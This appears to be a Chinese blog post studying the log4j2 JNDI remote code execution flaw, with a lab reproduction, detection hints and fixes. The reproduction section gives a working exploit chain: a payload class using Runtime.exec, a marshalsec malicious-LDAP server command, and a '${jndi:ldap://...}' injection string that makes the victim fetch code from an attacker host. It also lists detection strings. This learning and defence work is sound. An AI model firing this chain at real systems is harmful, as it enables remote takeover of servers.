log4j2远程代码执行漏洞学习总结

背景

近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI相关漏洞又重新被翻了出来,我这里主要是做一些我自己的总结和理解,以及我个人对漏洞的复现,当然很多内容包括整个实验流程很多都是从网上复制的,虽然是个缝合怪,但实验的代码和总结是自己的,不会像网上某些文章,无脑CV过来,有的还不全。在文章最后会给出我看到的比较好的各种资料。
不过江湖惯例,警告还是要放的

中华人民共和国网络安全法

第二十七条

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;

不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;

明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

JNDI 注入原理

很多人一看这种注入原理的字眼,就开始头疼,但我觉得还是有必要说一下。这次log4j2的漏洞,就是log4j2被别人利用,执行了JNDI注入,也就是说log4j2是被人当枪使了。而这个JNDI注入,却是很常见的攻击行为,因此需要先了解,我觉得至少要了解一下几个方面。

  • 什么是LDAP?
  • 什么是JNDI?
  • 什么是JNDI注入?

LDAP

首先LDAP是一种通讯协议,LDAP支持TCP/IP。协议就是标准,并且是抽象的。在这套标准下,AD(Active Directory)是微软出的一套实现。那AD是什么呢?暂且把它理解成是个数据库。也有很多人直接把LDAP说成数据库(可以把LDAP理解成存储数据的数据库)。

LDAP也像是其他数据库一样,是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作。但它是使用树形结构,存储类似于key-value(资源),这你想到了什么,我感觉有点像ZooKeeper。

用树状结构存储的好处毋庸置疑就是快,想想MySQL索引也就知道了,而且他主要也是用来存储资源类的信息,因此不需要像MySQL那样存储结构性的数据(占空间)。

LDAP可以用于统一登录, 统一文件存储,看来看去还是和ZK有点相似之处。

而我们通常说的LDAP是指运行这个数据库的服务器,可以简单理解AD =LDAP服务器+LDAP应用。

JNDI

JNDI(Java Naming and Directory Interface)Java 命名和目录接口,命名服务用于根据名字找到位置、服务、信息、资源、对象。

看到这你可能不懂,但JDBC你总懂吧,你的Java程序可以通过JDBC这套标准接口,可以对接不同数据库,也可以通过JNDI访问到不同的服务,是不是有点像,本质上还是一套标准接口。

JNDI要查找到对应的资源需要有两个过程

  • 发布服务 bind
  • 查找服务 lookup

像极了哈希表的put和get,我强烈怀疑他就是通过哈希表实现的,看到这个lookup标黑了吗,这是重点,log4j2要考。

JNDI可以访问的服务:LDAP(这不就连上了)、RMI(这个也可以看一下,后面的都看不懂了,凑个数)、DNS()、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS……

JNDI注入

JNDI动态协议转换

对于lookup方法:即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议。也就是说,替换lookup里面的协议内容,则会使用修改后的协议。

这是什么意思呢?就是说本来你想出去吃火锅,但你到了美食街,突然想吃烧烤,那你最终还是会去吃烧烤。

当我们调用lookup()方法时,如果lookup方法的参数, 像是一个uri地址,那么客户端就会去 lookup()方法参数指定的uri中加载远程对象

JNDI 命名引用

以下三条内容请详细阅读三遍,确保理解透彻。

  1. 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件。
  2. 如果JNDI客户端基于LDAP服务,找不到对应的资源,就去指定的地址请求,如果是命名引用,会把这个文件下载到本地。
  3. 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

前面说过,LDAP是kv存储,它的value可以是一个外部资源,如果客户端找不到资源就会去把资源下载到本地(转发下载),第三条说的很明白,如果是一个.class文件,就可以自动执行静态代码块和无参构造方法。

JNDI注入流程:

log4j2 RCE漏洞原理

在log4j2有一个Lookups功能,官方文档中是这样写的

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特殊类型的插件 。

举个例子

// log4j2 <=2.14.1日志打印
log.info("${java:runtime} - ${java:vm} - ${java:os}");
// 输出结果
// Java(TM) SE Runtime Environment (build 1.8.0_201-b09) from Oracle Corporation - Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode) - Windows 10 10.0, architecture: amd64-64

得到这个结果是因为log4j2允许使用以 java: 为前缀的字符串,检索Java环境信息

The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.

同样Log4j2对JNDI也有类似的支持,现在官网的文档描述已经改为

As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
从 Log4j 2.17.0 开始,JNDI 操作要求将 log4j2.enableJndiLookup=true 设置为系统属性或相应的环境变量,以便此查找起作用。请参阅 enableJndiLookup系统属性。
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
JndiLookup 允许通过 JNDI 检索变量。默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含“:”,则不会添加前缀。

老版本的前缀 jndi:,新版本前缀改为{jndi:},新版本前缀改为jndi:,新版本前缀改为{ java:comp/env/ } (没试过)。

因此在使用老版本的log4j2中

  1. 任意输入框体,注入jndi模拟攻击,包含 远程加载地址
  2. 日志服务打印记录
  3. 日志服务发现*${jndi:}* 识别JNDI 并进行JNDI服务的 lookup
  4. JNDI动态协议转换
  5. LDAP服务,指定远程加载地址为恶意代码地址
  6. 在客户端访问LDAP服务不存在的引用
  7. 从指定地址动态加载对象
  8. 将远程对象下载到本地,并执行静态代码块

代码示例:

@PostMapping("login")
public ResponseEntity<String> login(LoginForm form) {// 漏洞入口代码logger.info("login-account:{}", form.getAct());// 用户认证if(auth(form.getAct(), form.getPwd())) {// 记录会话信息String token = UUID.randomUUID().toString();UserVO user = new UserVO();user.setAct(form.getAct());SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");user.setLat(sdf.format(new Date()));caffeineTemplate.put(token, user);return ResponseEntity.ok(token);}return new ResponseEntity<>(HttpStatus.UNAUTHORIZED);
}

恶意代码示例:

static {try {//打开计算器if (System.getProperty("os.name").toLowerCase().contains("win")) {Runtime.getRuntime().exec("calc " );}//退出程序System.exit(0);} catch (IOException e) {System.out.println(e.getMessage());}
}

漏洞复现方式

最简单的方法

在码云上找到Log4j2-CVE-2021-44228这个项目,把它下载下来,按照 README.md 走一遍,虽然我不是这样实现的,但很多内容参考了他的代码,因此我觉得应该没什么问题。

比较真实的还原

我个人比较真实的还原了攻击过程,这个代码就不上传了,网上有很多了,准备了两台linux服务器,和一台windows作为客户端,他们的作用分别如下

  • LinuxA:模拟一个运行的Spring后台,也就是网站的服务器
  • LinuxB:模拟一个IDAP的服务器
  • Windows作为客户端,这没啥说的,主要是Postman发送请求。

客户端和LinuxB是一伙的,扮演攻击者,LinuxA是受害者。

看一下LinuxA的接口很简单,模拟一个登录接口,日志打印一下登录的用户名

@RestController
public class TestController {private static final Logger log = LogManager.getLogger(TestController.class);@PostMapping("testBug")public String testBug(@RequestBody Map<String,String> params){String userName = params.get("userName");log.info(userName);log.info("${java:runtime} - ${java:vm} - ${java:os}");return userName;}
}

正常客户端发送的请求

{"userName":"呵呵一笑"
}

此时我在LinuxB,先准备一个攻击代码,编译成.class文件

public class Faker {private static final String STATIC_RUN="touch /faker_static.txt";private static final String CONSTRUCTOR_RUN="touch /faker_constructor.txt";static {try {System.out.println("run commond :"+ STATIC_RUN);Runtime.getRuntime().exec(STATIC_RUN);} catch (IOException e) {System.out.println(e.getMessage());}}public Faker() {try {System.out.println("run commond :"+ CONSTRUCTOR_RUN);Runtime.getRuntime().exec(CONSTRUCTOR_RUN);} catch (IOException e) {System.out.println(e.getMessage());}}
}

静态代码块和构造函数里就是攻击的代码,我本想着打印两句话,执行两条命令,但执行命令语句没有生效,可能是由于权限问题,打印是有的。

接下来启动一个web服务,这个步骤很关键,很多教程这个地方讲的都很省略。

我是准备一个Tomcat,将这个.class文件上传到Tomcat下webapps 下,我是放在了自己创建的nb文件夹下,此时启动Tomcat,你是可以通过

http://${ip}:8080/nb/Faker.class

下载到你的文件的,当然你可以用其他方式例如nginx启动这个web服务,但你要启动web服务,才能下载到。

最后准备一个LDAP服务,这个我是从github上下载了网上流行的恶意LDAP服务marshalsec的源码,自己用maven编译了一下,这个代码也很值得学习,可以看一下它是如何创建LDAP服务的。

编译好以后,上传到LinuxB,启动该恶意LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://${ip}:8080/nb/#Faker 8088

其中#Faker是因为我的攻击类叫Faker.class,最后的8088是一个端口,可以按照自己的意愿改动。

此时使用Postman请求接口,参数改为

{"userName":"${jndi:ldap://${ip}:8088/test}"
}

注意上面的${ip}是LinuxB的IP,也就是攻击者自己的LDAP服务器,端口要和你上面启动的端口一致

最终结果

最后你可以在LinuxA上看到打印的两句话,可惜的是两句命令无法执行

好像是因为权限的问题,但这不重要,当LinuxA贸然访问到LinuxB的LDAP服务,它就已经输了,如果这是一段挖矿代码,那后果不堪设想,而这一切的源头,仅仅是因为打印了一个参数的日志,这也就是这个漏洞的严重性

log4j RCE漏洞影响范围和排查方法

影响范围:

使用了log4j的组件,并且版本在 2.x <= 2.14.

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为
true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加
了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,
默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的
JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,
默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

jdk-8u201, 8u202:最后一个免费商用版本,Oracle于 2019-01-15 停止免费商用更新

这是官方对于奇数版本与偶数版本区别的解释:
从JDK版本7u71以后,JAVA将会在同一时间发布两个版本的JDK,其中:
奇数版本为BUG修正并全部通过检验的版本,官方强烈推荐使用这个版本。
偶数版本包含了奇数版本所有的内容,以及未被验证的BUG修复,
Oracle官方表示:除非你深受BUG困扰,否则不推荐您使用这个版本。

升级到 jdk-8u201之后可以避免一部分攻击.

排查方法

1、pom版本检查
2、可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
3、检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调
用相关的堆栈信息
4、各种安全产品 WAF、RASP

排查工具:

没用过,粘贴过来的

https://static.threatbook.cn/tools/log4j-local-check.sh
https://sca.seczone.cn/allScanner.zip

log4j RCE漏洞修复方法

官方方案

1、将Log4j框架升级到最新版本:

新版本log4j2在JNDI lookup中增加了很多的限制:
1、默认不再支持二次跳转(也就是命名引用)的方式获取对象
2、只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3、只有远程地址是本地地址或者在
log4j2.allowedLdapHosts列表中指定的地址才能获取

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>${log4j.version}</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>${log4j.version}</version></dependency>
</dependencies>

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId><version>2.17.1</version>
</dependency>

临时方案

1、升级JDK
2、修改log4j配置
3、使用安全产品防护:WAF、RASP

log4j配置
  • 设置参数:log4j2.formatMsgNoLookups=True
  • 修改JVM参数:-Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
  • 禁止 log4j2 所在服务器外连

参考博客

https://www.jianshu.com/p/7e4d99f6baaf
https://www.heibai.org/1360.html
https://blog.csdn.net/he_and/article/details/105586691
https://gitee.com/Morningyet/Log4j2-CVE-2021-44228/blob/master/log4j%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

log4j2远程代码执行漏洞学习总结相关推荐

  1. 快速修复 Log4j2 远程代码执行漏洞步骤

    点击关注公众号,实用技术文章及时了解 来源:blog.csdn.net/weixin_48990070/ article/details/121861553 目录 漏洞说明 修复步骤 下载源码zip包 ...

  2. Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截

    近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...

  3. 最新log4j2 远程代码执行漏洞(紧急扩散)

    目录 一.问题描述 二.漏洞简介 三.临时解决方案 一.问题描述 在12月9日晚间出现了Apache Log4j2 远程代码执行漏洞攻击代码.该漏洞利用无需特殊配置,经多方验证,Apache Stru ...

  4. 【紧急】Apache Log4j2 远程代码执行漏洞

    0x01 漏洞背景 12月9日,监测到网上披露Apache Log4j2 远程代码执行漏洞,由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可 ...

  5. Apache Log4j2远程代码执行漏洞风险紧急通告,腾讯安全支持全面检测拦截

    腾讯安全注意到,一个Apache Log4j2的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码. 漏洞描述: 腾讯安全注意到,一个Apache Log4j2反序列化远程代码执行漏洞细节已被公开,L ...

  6. 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

  7. Apache Log4j2 远程代码执行 漏洞

    1.漏洞说明 Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.大多数情况下,开发者 ...

  8. Apache Log4j2远程代码执行漏洞

    漏洞介绍 Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.大多数情况下,开发者可能 ...

  9. 分析Apache Log4j2 远程代码执行漏洞

    漏洞描述 Log4j是Apache的一个开源项目,通过使用Log4j,可以控制日志信息输送的目的地是控制台.文件.GUI组件,甚至是套接口服务器.NT的事件记录器.UNIX Syslog守护进程等:也 ...

最新文章

  1. PHP遇到json解决的两个办法,转为数组,直接取值
  2. python字典去最值_python 比较字典value的最大值的几种方法
  3. sqlserver日志文件过大的处理方法
  4. java并发性是指什么_java – 什么是“非阻塞”并发,它与普通并发性有什么不同?...
  5. 双机热备份和负载均衡的区别
  6. 迭代器,生成器,递归
  7. 常用Latex表达式符号——组合数学篇
  8. nodemcu固件_从无到有玩NodeMcu:web端控制
  9. Linux学习入门--make学习总结
  10. C++/C学习笔记(二)
  11. P1491 集合位置
  12. win10浏览器闪退_win10系统打开ie11浏览器出现闪退的两种解决方法
  13. 用小程序做问卷调查,获取数据就是这么简单!
  14. 计算机多媒体设备维护维修,学校多媒体教学设备的故障检修
  15. 今天脚被蜈蚣“啃”了
  16. 如何彻底禁用谷歌Chrome更新
  17. 6月份鸿蒙升级名单,华为鸿蒙系统6月升级名单机型有哪些
  18. 酷狗音乐API数据接口--分析
  19. Android性能测试 之 APPFPS的方法
  20. JS一个元素怎么绑定多个事件

热门文章

  1. 解决 Windows 商店 0x800704cf 网络问题
  2. cad2017单段线_CAD将线段分成多段线的方法步骤
  3. linux sed 添加空行,sed之添加空行
  4. win10系统ipv6服务器地址,win10系统查看电脑ipv6地址的操作方法
  5. 服务器Linux环境下安装Matlab2018b
  6. 2019年管理类MBA/MEM联考英语小作文范文
  7. 无线射频专题《射频合规,无线电认证系列简介,IC/CE/FCC/NCC/KCC/SRRC/ROHS/TELET/REACH/ANATEL》
  8. Ubuntu burg
  9. 计算机网络,概念,发展历史,分类,协议
  10. PhpMyWind储存型XSS漏洞练习(CVE-2017-12984)